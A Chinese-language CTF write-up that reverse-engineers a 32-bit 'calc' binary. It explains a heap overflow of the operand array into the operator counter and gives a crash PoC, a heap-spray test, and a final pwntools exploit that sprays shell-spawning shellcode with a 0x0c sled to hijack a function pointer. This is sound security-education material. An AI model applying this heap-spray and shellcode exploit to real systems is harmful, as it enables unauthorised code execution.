calc heap

1 分析

题目二进制

写write up之前,要吐槽一下,这又是一道做得让我怀疑人生的题。前后拖了一个月才狠下心把这题终于终于做完了。一点一点积累,希望一年或者几年后能看到自己的进步。

1.1 查看程序基本信息

1
2
3
4
5
6
7
8
9
10
$ file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=454ff27c25ea5028bffdcfaf81e1c178d5cbce3a, stripped
$ checksec calc
[*] '/mnt/hgfs/VMshare/calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

1.2 运行试试

1
2
3
4
5
6
7
8
9
10
11
$ ./calc
> 1
1
> 3
3
> 1111
1111
> 2+2
invalid number
> 2 + 3
5

1.3 IDA逆向

如下是IDA逆向出来,main函数中的主要代码,对这段代码进行分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
v13 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
dword_804D0B0 = sub_804A929(); // 1
dword_804D0B4 = sub_804A8E9(); // 2
dword_804D0AC = sub_804A8E9(); // 3
v0 = sub_804A83F("add", (int)sub_80494AA); //4
sub_804A946(dword_804D0B0, "add", v0); //5
v1 = sub_804A83F("sub", (int)sub_8049C81); //6
sub_804A946(dword_804D0B0, "sub", v1); //7
v2 = sub_804A83F("mul", (int)sub_8049A0E);
sub_804A946(dword_804D0B0, "mul", v2);
v3 = sub_804A83F("div", (int)sub_8049DED);
sub_804A946(dword_804D0B0, "div", v3);
v4 = sub_804A83F("mod", (int)sub_8049F90);
sub_804A946(dword_804D0B0, "mod", v4);
v5 = sub_804A83F("not", (int)sub_804A135);
sub_804A946(dword_804D0B0, "not", v5);
v6 = sub_804A83F("int", (int)sub_8049854);
sub_804A946(dword_804D0B0, "int", v6);
v7 = sub_804A83F("exit", (int)sub_804A688);
sub_804A946(dword_804D0B0, "exit", v7);
v8 = sub_804A83F("equals", (int)sub_804A3C2);
sub_804A946(dword_804D0B0, "equals", v8);
v9 = sub_804A83F("type", (int)sub_804A61E);
sub_804A946(dword_804D0B0, "type", v9);
v10 = sub_804A83F("len", (int)sub_804A308);
sub_804A946(dword_804D0B0, "len", v10);
while ( 1 ) //8
{
memset(&s, 0, 0x100u);
printf("> ");
if ( !fgets(&s, 256, stdin) ) //9
break;
v11 = strrchr(&s, '\n'); //10
if ( v11 )
*v11 = 0;
sub_8048BC1(&s); //11
}

line 1 2 3

1
2
3
dword_804D0B0 = sub_804A929();		// 1
dword_804D0B4 = sub_804A8E9(); // 2
dword_804D0AC = sub_804A8E9(); // 3

dword_804D0B0,dword_804D0B4,dword_804D0AC都是bss段的变量,各占4个字节。这三个变量分别接受sub_804A929()和sub_804A8E9()这两个函数的返回值。下面我们来看看这两个函数。

1
2
3
4
5
6
.bss:0804D0AC dword_804D0AC   dd ?                   
.bss:0804D0AC
.bss:0804D0B0 ; int dword_804D0B0
.bss:0804D0B0 dword_804D0B0 dd ?
.bss:0804D0B0
.bss:0804D0B4 dword_804D0B4 dd ?
  • sub_804A929()

    这个函数只有一句return calloc(0x10u, 1u),申请大小为0x10的堆空间,并将堆的地址返回给dword_804D0B0。

  • sub_804A8E9()

    这个函数中申请了0x84大小的堆空间,并返回。因此dword_804D0B4,dword_804D0AC分别指向大小为0x84的堆。

line 4 5 6 7

这四行以及之后的许多行都是在重复4 5行的函数,因此分析完前两个就能推断之后的操作。

先看4 5 行,涉及两个函数sub_804A83F()和sub_804A946(),以及一个函数指针sub_80494AA和一个bss段的变量dword_804D0B0。接下来重点分析这两个函数。

1
2
v0 = sub_804A83F("add", (int)sub_80494AA);	//4
sub_804A946(dword_804D0B0, "add", v0); //5

sub_804A83F()

函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
_DWORD *__cdecl sub_804A83F(char *s, int a2)
{
_DWORD *v2; // ST1C_4

v2 = calloc(0x10u, 1u);
*v2 = strdup(s);
v2[2] = a2;
v2[1] = "function";
v2[3] = 0;
return v2;
}

输入为一个字符串和一个整型值(函数指针的地址)。函数内先申请一个大小为0x10的堆空间(*v2指向该堆空间),然后将输入的字符串地址(strdup申请了一个堆空间用来存放字符串)放在v2[0];v2[1]处存放字符串”function”的地址,标志这是一个function堆;将传入的函数指针地址放在v2[2];v2[3]置空。最后将该堆块返回给上一层调用者。

1
2
3
4
5
6
7
8
9
10
v2堆块如下。以第4行为例,heap1中存放着字符串“add”;string1处的字符串为“function”;function1是一个处理add逻辑的函数。
|------------|
| &heap1 |
|------------|
| &string1 |
|------------|
| &function1 |
|------------|
| 0 |
|------------|

sub_804A946()

以add为例,该函数的参数分别为dword_804D0B0(bss段的一个值,为一个堆块地址), “add”字符串,,以及上一个函数sub_804A83F()的返回值(一个0x10大小的堆块)。sub_804A946()函数定义如下,我在函数中标记了注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __cdecl sub_804A946(int a1, char *s, int a3)
{
int result; // eax
size_t i; // [esp+4h] [ebp-14h]
int v5; // [esp+8h] [ebp-10h]
signed int v6; // [esp+Ch] [ebp-Ch]
/*检查dword_804D0B0堆块第一个字节指向的堆块是否为空。如果是空,就申请一个大小为0x10的堆,并在该堆块偏移8字节处写入字符‘a’;如果非空,则跳过执行下面的部分。*/
if ( !*a1 )
{
*a1 = calloc(0x10u, 1u);
*(*a1 + 8) = *s;
}
/*v5赋值dword_804D0B0堆块第一个字节指向的堆块地址(即*a1),v6赋值传入字符串s的长度。*/
v5 = *a1;
v6 = strlen(s);
/*进入for循环处理字符串s*/
for ( i = 0; i <= v6; ++i )
{
/*1、判断dword_804D0B0堆块指向的堆块偏移4字节的位置是否不为空;2、判断dword_804D0B0堆块指向的堆块地址偏移8字节处是否跟字符串的第i个字符不相等。两个同时满足时执行v5 = *(v5 + 4);其中一个不满足则跳过该操作,继续执行后续部分。*/
while ( *(v5 + 4) && *(v5 + 8) != s[i] )
v5 = *(v5 + 4);
/*如果此时v5堆块偏移8字节的位置跟s[i]的值不相等,则进入if语句中处理;如果两者相等,则复用该堆块,继续处理下一个字符。*/
if ( *(v5 + 8) != s[i] )
{
/*新申请一个0x10大小的堆块,并将堆块地址写到v5堆块偏移4字节的位置。然后将s[i]写到新申请的堆块偏移8字节的位置。然后让v5指向新申请的堆块。*/
*(v5 + 4) = calloc(0x10u, 1u);
*(*(v5 + 4) + 8) = s[i];
v5 = *(v5 + 4);
/**/
while ( strlen(s) > i )
{
*v5 = calloc(0x10u, 1u);
*(*v5 + 8) = s[++i];
v5 = *v5;
}
break;
}
/*如果s[i]为空,即到了字符串的结束位置,则结束循环。*/
if ( !s[i] )
break;
/*如果*v5为空,新申请一个0x10大小的堆块,并让*v5指向该对堆块。然后将s[i+1]处的字符写到新申请堆块偏移8字节的位置。*/
if ( !*v5 )
{
*v5 = calloc(0x10u, 1u);
*(*v5 + 8) = s[i + 1];
}
/*让v5指向*v5指向的堆块*/
v5 = *v5;
}
/*上述循环将所有的字符全部处理完毕后,将v5当前指向堆块的地址给result*/
result = v5;
/*将a3(即sub_804A83F()返回的堆块)的地址写到v5堆块内偏移12字节的位置*/
*(v5 + 12) = a3;
return result;
}

执行完4 5 6 7行后,会形成如下图所示的堆空间关系:

line 8

这个while循环内会对输入进行处理,是跟外部数据交互的窗口,因此漏洞极有可能存在于循环内部的处理过程。

line 9

这一行通过fgets从标准输入(即键盘)中获取输入字符串。根据fgets的特性,本题中它最多接受256-1=255个字符输入。s在栈上的空间为0x100=256,加上字符串结束符’\x00’也不会溢出。

char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止。

line 10

这一行及后两行的目的是对输入字符串进行处理。寻找输入字符串最后一次出现’\n’的位置,即字符串结束的位置,并往该位置写0x00(是ASCII码的0,而不是字符 ‘0’。)

line11

第11行是函数sub_8048BC1(&s),处理输入的字符串s。使用strtok将字符串s进行分解。

char *strtok(char *str, const char *delim) 分解字符串 str 为一组字符串,delim 为分隔符。

这个函数中,有三个大的处理逻辑:

  • while ( s1 ):对传入字符串分解得到的运算数和运算符进行解析,并将运算数链接到bss段的dword_804D0B4,将运算符链接到bss段的dword_804D0AC。
  • while ( !sub_804A8D7(dword_804D0AC) ):判断dword_804D0AC指向堆空间的第一个值是否为0(第一个值代表运算符个数),即判断是否存在运算符。
  • if ( !result )

while(s1)

如下对运算数的处理中存在漏洞函数。重点看a和b两段指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( (*__ctype_b_loc())[*s1] & 0x800 || *s1 == '-' && strlen(s1) > 1 )
{
if ( sub_804886B(s1) )
{
v1 = sub_804A6F8(byte_804AC65, s1); //a
sub_804A8B5(dword_804D0B4, v1); //b
}
else
{
puts("invalid number");
}
goto LABEL_68;
}
  • a - sub_804A6F8函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    _DWORD *__cdecl sub_804A6F8(char *s, char *nptr)
    {
    _DWORD *v2; // ST1C_4

    v2 = calloc(0x10u, 1u);
    v2[2] = strtol(nptr, 0, 10);
    v2[1] = "int";
    *v2 = strdup(s);
    v2[3] = strlen(nptr);
    return v2;
    }

    可以看到,该函数中生成了如下堆块,并返回给上层调用者。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    heap1中存放着函数的第一个参数;string1处的字符串为“int”;num是运算数的十进制表达式;最后一个块中存放运算数的长度信息。
    |------------|
    | &heap1 |
    |------------|
    | &string1 |
    |------------|
    | num |
    |------------|
    | strlen(num)|
    |------------|
  • b - sub_804A8B5函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    _DWORD *__cdecl sub_804A8B5(_DWORD *a1, int a2)
    {
    _DWORD *result; // eax

    ++*a1;
    result = a1;
    a1[*a1 + 1] = a2;
    return result;
    }

    该函数的入参为:a1是dword_804D0B4(即指向0x84大小的堆块),a2是sub_804A6F8函数返回的堆块地址。函数的功能是操作0x84堆块中的内容,将堆中第一块(4字节)的内容自加1(作为计数,记录堆块中链接了多少个操作数),并从第3个块(a1[2])处链接操作数堆块a2。

对运算符的处理过程跟以上对运算数的处理过程基本一致,只不过运算符是链接在dword_804D0AC指向的堆块上。

由于dword_804D0B4指向的堆块先于dword_804D0AC指向堆块的申请,因此他俩在堆空间的排布如下:

dword_804D0B4指向的堆块大小为0x84,最多可存储0x84/0x4 - 2=0x21 - 2=33 - 2 = 31个运算数信息。但是我们可以输入256个字节的字符串,因此我们可输入的运算数远远大于31,那么此时运算数信息就会溢出到存放运算符的堆块。如上图所示,第33个运算数的堆块会覆盖绿色堆块中的count,那么之后访问运算符的时候会取到一个超大的值。

while ( !sub_804A8D7(dword_804D0AC) )

1
2
v9 = sub_804A88E(dword_804D0AC);
(*(v9 + 8))();

先调用sub_804A88E函数,从运算符堆块中取出一个运算符,然后对该运算符取值运行。

1
2
3
4
int __cdecl sub_804A88E(_DWORD *a1)
{
return a1[(*a1)-- + 1];
}

我们可以看到sub_804A88E中访问了运算符堆块的第一个count,即*a1。上面讨论了这个值可以被越界覆盖,因此在这里会越界访问,导致程序崩溃。

1.4 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
$ python -c "print '1 ' * 33"
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
$ gdb calc
gef➤ r
Starting program: /mnt/hgfs/VMshare/calc/calc
> 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

Program received signal SIGSEGV, Segmentation fault.
0x0804a89c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0804e0a8 → 0x0804f058 → 0x0804f070 → 0x00000000
$ebx : 0x0
$ecx : 0x0
$edx : 0x0804f058 → 0x0804f070 → 0x00000000
$esp : 0xffffcd08 → 0x00000000
$ebp : 0xffffcd18 → 0xffffcd78 → 0xffffcea8 → 0x00000000
$esi : 0xf7fb6000 → 0x001b1db0
$edi : 0xf7fb6000 → 0x001b1db0
$eip : 0x0804a89c → mov eax, DWORD PTR [eax+edx*4+0x4]
$eflags: [carry parity adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────── stack ────
0xffffcd08│+0x0000: 0x00000000 ← $esp
0xffffcd0c│+0x0004: 0x00000000
0xffffcd10│+0x0008: 0x00000000
0xffffcd14│+0x000c: 0x00000000
0xffffcd18│+0x0010: 0xffffcd78 → 0xffffcea8 → 0x00000000 ← $ebp
0xffffcd1c│+0x0014: 0x080493b6 → add esp, 0x10
0xffffcd20│+0x0018: 0x0804e0a8 → 0x0804f058 → 0x0804f070 → 0x00000000
0xffffcd24│+0x001c: 0x0804ac54 → and BYTE PTR [eax], al
───────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804a892 in al, dx
0x804a893 adc BYTE PTR [ebx+0x108b0845], cl
0x804a899 mov eax, DWORD PTR [ebp+0x8]
→ 0x804a89c mov eax, DWORD PTR [eax+edx*4+0x4]
0x804a8a0 mov DWORD PTR [ebp-0x4], eax
0x804a8a3 mov eax, DWORD PTR [ebp+0x8]
0x804a8a6 mov eax, DWORD PTR [eax]
0x804a8a8 lea edx, [eax-0x1]
0x804a8ab mov eax, DWORD PTR [ebp+0x8]
────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "calc", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804a89c → mov eax, DWORD PTR [eax+edx*4+0x4]
[#1] 0x80493b6 → add esp, 0x10
[#2] 0x8048bb9 → add esp, 0x10
[#3] 0xf7e1c637 → __libc_start_main(main=0x80488cb, argc=0x1, argv=0xffffcf54, init=0x804aba0, fini=0x804ac00, rtld_fini=0xf7fe8880 <_dl_fini>, stack_end=0xffffcf4c)
[#4] 0x8048791 → hlt
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x0804c000 0x00000000 r-x /mnt/hgfs/VMshare/calc/calc
0x0804c000 0x0804d000 0x00003000 r-x /mnt/hgfs/VMshare/calc/calc
0x0804d000 0x0804e000 0x00004000 rwx /mnt/hgfs/VMshare/calc/calc
0x0804e000 0x0806f000 0x00000000 rwx [heap]
0xf7e03000 0xf7e04000 0x00000000 rwx
0xf7e04000 0xf7fb4000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fb4000 0xf7fb6000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fb6000 0xf7fb7000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7fb7000 0xf7fba000 0x00000000 rwx
0xf7fd3000 0xf7fd4000 0x00000000 rwx
0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]
gef➤

可以看到,程序运行到0x804a89c mov eax, DWORD PTR [eax+edx*4+0x4]处时,崩溃了。eax+edx*4+0x4 = 0x0804e0a8 +0x0804f058*4 + 0x4 = 0x2818a20c。通过上面的vmmap信息,可以看出,0x2818a20c这个地址并未被映射,所以访问时会导致程序异常崩溃。

我们要怎样利用这个异常访问呢?如果我们能将这个超大地址映射成功,并且能控制这个地址的内容,是不是就能控制执行流了呢?

这个题没有开NX,因此堆栈上的数据可以执行,我们可以在堆上布局shellcode。

2 利用

2.1 申请不释放的堆空间

我们发现乘法函数sub_8049A0E中有一段申请内存的操作,但是并没有释放这些内存。因此我们可以利用该乘法函数,不断扩展堆空间,使0x2818a20c这个位置被映射。

如下代码段是sub_8049A0E函数中涉及内存申请的部分。当一个字符类型和一个整形相乘时,会根据字符长度和整型值的乘积申请堆空间。*(v8 + 12) 是字符的长度,*(v7 + 8)是整型值。

1
2
3
4
5
else if ( !strcmp(*(v8 + 4), "str") && !strcmp(*(v7 + 4), "int") )
{
v6 = *(v7 + 8);
dest = calloc(*(v8 + 12) * *(v7 + 8) + 1, 1u);
v9 = dest;

因此用如下poc测试申请堆空间,确认能否将较高地址处映射成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding=utf-8

from pwn import *
context(arch = "i386",os = "linux")
myelf = ELF("./calc")
myproc = process(myelf.path)

payload = '"a " * 100000'
for i in range(6000):
myproc.sendlineafter(">",payload)
gdb.attach(myproc,"b * 0x0804A89C\nc")

myproc.recvuntil(">")
payload = "1 " * 33
myproc.sendline(payload)

myproc.interactive()

执行结果如下,可见0x09779000至0x510e2000的地址空间全被映射为堆空间了,并且被我们的输入”a “给填满了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
───────────────────────────────────────────────────────────────── registers ────
$eax : 0x097790a8 → 0x510c22d8 → 0x510c22f0 → 0x00000000
$ebx : 0x0
$ecx : 0x0
$edx : 0x510c22d8 → 0x510c22f0 → 0x00000000

─────────────────────────────────────────────────────────────── code:x86:32 ────
0x804a892 in al, dx
0x804a893 adc BYTE PTR [ebx+0x108b0845], cl
0x804a899 mov eax, DWORD PTR [ebp+0x8]
→ 0x804a89c mov eax, DWORD PTR [eax+edx*4+0x4]
0x804a8a0 mov DWORD PTR [ebp-0x4], eax
0x804a8a3 mov eax, DWORD PTR [ebp+0x8]
0x804a8a6 mov eax, DWORD PTR [eax]

gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x0804c000 0x00000000 r-x /mnt/hgfs/VMshare/calc/calc
0x0804c000 0x0804d000 0x00003000 r-x /mnt/hgfs/VMshare/calc/calc
0x0804d000 0x0804e000 0x00004000 rwx /mnt/hgfs/VMshare/calc/calc
0x09779000 0x510e2000 0x00000000 rwx [heap]
0xf7dad000 0xf7dae000 0x00000000 rwx
0xf7dae000 0xf7f5e000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7f5e000 0xf7f60000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7f60000 0xf7f61000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7f61000 0xf7f64000 0x00000000 rwx
0xf7f7d000 0xf7f7e000 0x00000000 rwx
0xf7f7e000 0xf7f81000 0x00000000 r-- [vvar]
0xf7f81000 0xf7f83000 0x00000000 r-x [vdso]
0xf7f83000 0xf7fa6000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7fa6000 0xf7fa7000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7fa7000 0xf7fa8000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffd0000 0xffff1000 0x00000000 rwx [stack]

gef➤ x/10gx 0x33333333
0x33333333: 0x6161616161616161 0x6161616161616161
0x33333343: 0x6161616161616161 0x6161616161616161
0x33333353: 0x6161616161616161 0x6161616161616161
0x33333363: 0x6161616161616161 0x6161616161616161
0x33333373: 0x6161616161616161 0x6161616161616161

此时eax+edx*4+0x4的计算如下:

1
2
3
4
>>> eax = 0x097790a8
>>> edx = 0x510c22d8
>>> hex(eax+edx*4+0x4)
'0x14da81c0c'

由于环境是32位的,所以最终计算结果为’0x4da81c0c’,这个值是sub_804A88E函数的返回值。这个返回值作为地址,偏移8字节的位置处的值,会被作为函数执行。如果我们能劫持0x4da81c0c+8=0x4da81c14地址处的值,就可以劫持控制流。

1
2
v9 = sub_804A88E((_DWORD *)G_D0AC);
(*(void (**)(void))(v9 + 8))();

2.2 exp

通过以上的分析可知,我们需要往堆空间布局一些shellcode,并且劫持(*(void (**)(void))(v9 + 8))()执行我们的shellcode。但是我们很难精确将shellcode布置到该地址,因此采用’\x0c’滑板指令,结合shellcode的方式完成利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding=utf-8

from pwn import *
context(arch = "i386",os = "linux")
myelf = ELF("./calc")
myproc = process(myelf.path)

#payload = '"a" * 100000'
payload = '"' + asm(shellcraft.sh()).ljust(200,'\x0c') + '" * 500'
for i in range(6000):
myproc.sendlineafter(">",payload)
gdb.attach(myproc,"b * 0x0804A89C\nc")

myproc.recvuntil(">")
payload = "1 " * 33
myproc.sendline(payload)

myproc.interactive()